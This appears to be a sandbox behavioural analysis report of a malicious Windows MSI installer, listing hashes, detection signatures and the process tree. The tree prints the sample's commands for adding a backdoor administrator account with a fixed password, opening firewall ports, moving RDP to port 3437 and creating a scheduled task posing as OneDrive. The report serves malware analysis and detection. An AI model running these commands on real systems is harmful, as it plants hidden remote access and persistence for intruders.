Analysis
-
max time kernel
109s -
max time network
109s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-12-2021 17:47
Static task
static1
Behavioral task
behavioral1
Sample
seucartao0021 bdpk7zuq ju1ej9.msi
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
seucartao0021 bdpk7zuq ju1ej9.msi
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
seucartao0021 bdpk7zuq ju1ej9.msi
-
Size
4.0MB
-
MD5
8a53e2cb70a3967f721059d146e7ac4c
-
SHA1
429614ea9a6067160470aa5e101bb33b862deb80
-
SHA256
7e7d377140a146065c91c271e97dff7bb94f4b42245f1fba4dd2899271281912
-
SHA512
5ce3076109b4220de0e996eb91addeefeb9c0c9a19b0434b9858c18b69c88151ac8478402ad13efe6c791bb0771dcfec4f7fcc231cb199f7c334fb9c550d6e5d
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 3 988 MsiExec.exe 4 988 MsiExec.exe -
Executes dropped EXE 2 IoCs
pid Process 612 HhsVSyqBnmZk.exe 1208 IVJLAJRj.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Modifies Windows Firewall 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LxMsvCUwKRRB.lnk MsiExec.exe -
Loads dropped DLL 23 IoCs
pid Process 988 MsiExec.exe 988 MsiExec.exe 988 MsiExec.exe 988 MsiExec.exe 988 MsiExec.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 612 HhsVSyqBnmZk.exe 1208 IVJLAJRj.exe 1208 IVJLAJRj.exe 1208 IVJLAJRj.exe 1208 IVJLAJRj.exe 1208 IVJLAJRj.exe 1208 IVJLAJRj.exe 1020 Process not Found -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" IVJLAJRj.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Terminal Service 21122021\rdpwrap.dll IVJLAJRj.exe File created C:\Program Files\Terminal Service 21122021\rdpwrap.ini IVJLAJRj.exe -
Drops file in Windows directory 10 IoCs
description ioc Process File created C:\Windows\Installer\f75b7ea.msi msiexec.exe File opened for modification C:\Windows\Installer\f75b7ea.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIBA6A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBB27.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI145E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB8B5.tmp msiexec.exe File created C:\Windows\Installer\f75b7ec.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\f75b7ec.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI1626.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 580 schtasks.exe -
Runs net.exe
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 268 msiexec.exe 268 msiexec.exe 612 HhsVSyqBnmZk.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1020 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1776 msiexec.exe Token: SeIncreaseQuotaPrivilege 1776 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeSecurityPrivilege 268 msiexec.exe Token: SeCreateTokenPrivilege 1776 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1776 msiexec.exe Token: SeLockMemoryPrivilege 1776 msiexec.exe Token: SeIncreaseQuotaPrivilege 1776 msiexec.exe Token: SeMachineAccountPrivilege 1776 msiexec.exe Token: SeTcbPrivilege 1776 msiexec.exe Token: SeSecurityPrivilege 1776 msiexec.exe Token: SeTakeOwnershipPrivilege 1776 msiexec.exe Token: SeLoadDriverPrivilege 1776 msiexec.exe Token: SeSystemProfilePrivilege 1776 msiexec.exe Token: SeSystemtimePrivilege 1776 msiexec.exe Token: SeProfSingleProcessPrivilege 1776 msiexec.exe Token: SeIncBasePriorityPrivilege 1776 msiexec.exe Token: SeCreatePagefilePrivilege 1776 msiexec.exe Token: SeCreatePermanentPrivilege 1776 msiexec.exe Token: SeBackupPrivilege 1776 msiexec.exe Token: SeRestorePrivilege 1776 msiexec.exe Token: SeShutdownPrivilege 1776 msiexec.exe Token: SeDebugPrivilege 1776 msiexec.exe Token: SeAuditPrivilege 1776 msiexec.exe Token: SeSystemEnvironmentPrivilege 1776 msiexec.exe Token: SeChangeNotifyPrivilege 1776 msiexec.exe Token: SeRemoteShutdownPrivilege 1776 msiexec.exe Token: SeUndockPrivilege 1776 msiexec.exe Token: SeSyncAgentPrivilege 1776 msiexec.exe Token: SeEnableDelegationPrivilege 1776 msiexec.exe Token: SeManageVolumePrivilege 1776 msiexec.exe Token: SeImpersonatePrivilege 1776 msiexec.exe Token: SeCreateGlobalPrivilege 1776 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeRestorePrivilege 268 msiexec.exe Token: SeTakeOwnershipPrivilege 268 msiexec.exe Token: SeIncreaseQuotaPrivilege 1400 WMIC.exe Token: SeSecurityPrivilege 1400 WMIC.exe Token: SeTakeOwnershipPrivilege 1400 WMIC.exe Token: SeLoadDriverPrivilege 1400 WMIC.exe Token: SeSystemProfilePrivilege 1400 WMIC.exe Token: SeSystemtimePrivilege 1400 WMIC.exe Token: SeProfSingleProcessPrivilege 1400 WMIC.exe Token: SeIncBasePriorityPrivilege 1400 WMIC.exe Token: SeCreatePagefilePrivilege 1400 WMIC.exe Token: SeBackupPrivilege 1400 WMIC.exe Token: SeRestorePrivilege 1400 WMIC.exe Token: SeShutdownPrivilege 1400 WMIC.exe Token: SeDebugPrivilege 1400 WMIC.exe Token: SeSystemEnvironmentPrivilege 1400 WMIC.exe Token: SeRemoteShutdownPrivilege 1400 WMIC.exe Token: SeUndockPrivilege 1400 WMIC.exe Token: SeManageVolumePrivilege 1400 WMIC.exe Token: 33 1400 WMIC.exe Token: 34 1400 WMIC.exe Token: 35 1400 WMIC.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1776 msiexec.exe 988 MsiExec.exe 1776 msiexec.exe -
Suspicious use of WriteProcessMemory 53 IoCs
description pid Process procid_target PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 268 wrote to memory of 988 268 msiexec.exe 28 PID 988 wrote to memory of 1400 988 MsiExec.exe 29 PID 988 wrote to memory of 1400 988 MsiExec.exe 29 PID 988 wrote to memory of 1400 988 MsiExec.exe 29 PID 988 wrote to memory of 1400 988 MsiExec.exe 29 PID 612 wrote to memory of 1584 612 HhsVSyqBnmZk.exe 33 PID 612 wrote to memory of 1584 612 HhsVSyqBnmZk.exe 33 PID 612 wrote to memory of 1584 612 HhsVSyqBnmZk.exe 33 PID 612 wrote to memory of 1584 612 HhsVSyqBnmZk.exe 33 PID 1584 wrote to memory of 580 1584 cmd.exe 35 PID 1584 wrote to memory of 580 1584 cmd.exe 35 PID 1584 wrote to memory of 580 1584 cmd.exe 35 PID 1584 wrote to memory of 580 1584 cmd.exe 35 PID 612 wrote to memory of 1208 612 HhsVSyqBnmZk.exe 36 PID 612 wrote to memory of 1208 612 HhsVSyqBnmZk.exe 36 PID 612 wrote to memory of 1208 612 HhsVSyqBnmZk.exe 36 PID 612 wrote to memory of 1208 612 HhsVSyqBnmZk.exe 36 PID 1208 wrote to memory of 1508 1208 IVJLAJRj.exe 40 PID 1208 wrote to memory of 1508 1208 IVJLAJRj.exe 40 PID 1208 wrote to memory of 1508 1208 IVJLAJRj.exe 40 PID 1208 wrote to memory of 1508 1208 IVJLAJRj.exe 40 PID 1208 wrote to memory of 1756 1208 IVJLAJRj.exe 42 PID 1208 wrote to memory of 1756 1208 IVJLAJRj.exe 42 PID 1208 wrote to memory of 1756 1208 IVJLAJRj.exe 42 PID 1208 wrote to memory of 1756 1208 IVJLAJRj.exe 42 PID 1208 wrote to memory of 1556 1208 IVJLAJRj.exe 44 PID 1208 wrote to memory of 1556 1208 IVJLAJRj.exe 44 PID 1208 wrote to memory of 1556 1208 IVJLAJRj.exe 44 PID 1208 wrote to memory of 1556 1208 IVJLAJRj.exe 44 PID 1556 wrote to memory of 1468 1556 net.exe 46 PID 1556 wrote to memory of 1468 1556 net.exe 46 PID 1556 wrote to memory of 1468 1556 net.exe 46 PID 1208 wrote to memory of 876 1208 IVJLAJRj.exe 47 PID 1208 wrote to memory of 876 1208 IVJLAJRj.exe 47 PID 1208 wrote to memory of 876 1208 IVJLAJRj.exe 47 PID 1208 wrote to memory of 876 1208 IVJLAJRj.exe 47 PID 876 wrote to memory of 540 876 net.exe 49 PID 876 wrote to memory of 540 876 net.exe 49 PID 876 wrote to memory of 540 876 net.exe 49 PID 1208 wrote to memory of 1864 1208 IVJLAJRj.exe 50 PID 1208 wrote to memory of 1864 1208 IVJLAJRj.exe 50 PID 1208 wrote to memory of 1864 1208 IVJLAJRj.exe 50 PID 1208 wrote to memory of 1864 1208 IVJLAJRj.exe 50 PID 1208 wrote to memory of 1168 1208 IVJLAJRj.exe 52 PID 1208 wrote to memory of 1168 1208 IVJLAJRj.exe 52 PID 1208 wrote to memory of 1168 1208 IVJLAJRj.exe 52 PID 1208 wrote to memory of 1168 1208 IVJLAJRj.exe 52
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\seucartao0021 bdpk7zuq ju1ej9.msi"1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1776
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:268 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B6B196D4AD89514D532D520E240EDD862⤵
- Blocklisted process makes network request
- Drops startup file
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\lokRfozXIWxY\HhsVSyqBnmZk.exe'3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1400
-
-
-
C:\Users\Admin\lokRfozXIWxY\HhsVSyqBnmZk.exeC:\Users\Admin\lokRfozXIWxY\HhsVSyqBnmZk.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\lokRfozXIWxY\HhsVSyqBnmZk.exe /SC minute /MO 2 /IT /RU %USERNAME%2⤵
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\lokRfozXIWxY\HhsVSyqBnmZk.exe /SC minute /MO 2 /IT /RU Admin3⤵
- Creates scheduled task(s)
PID:580
-
-
-
C:\Users\Admin\WyFqt 8KJF\IVJLAJRj.exe"C:\Users\Admin\WyFqt 8KJF\IVJLAJRj.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3437 profile=any action=allow3⤵PID:1508
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=udp localport=3437 profile=any action=allow3⤵PID:1756
-
-
C:\Windows\system32\net.exenet user Administrat0r "123mudar" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Administrat0r "123mudar" /add4⤵PID:1468
-
-
-
C:\Windows\system32\net.exenet localgroup Administradores Administrat0r /add3⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administradores Administrat0r /add4⤵PID:540
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3437 profile=any action=allow3⤵PID:1864
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3437 /f3⤵PID:1168
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:1644
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:1604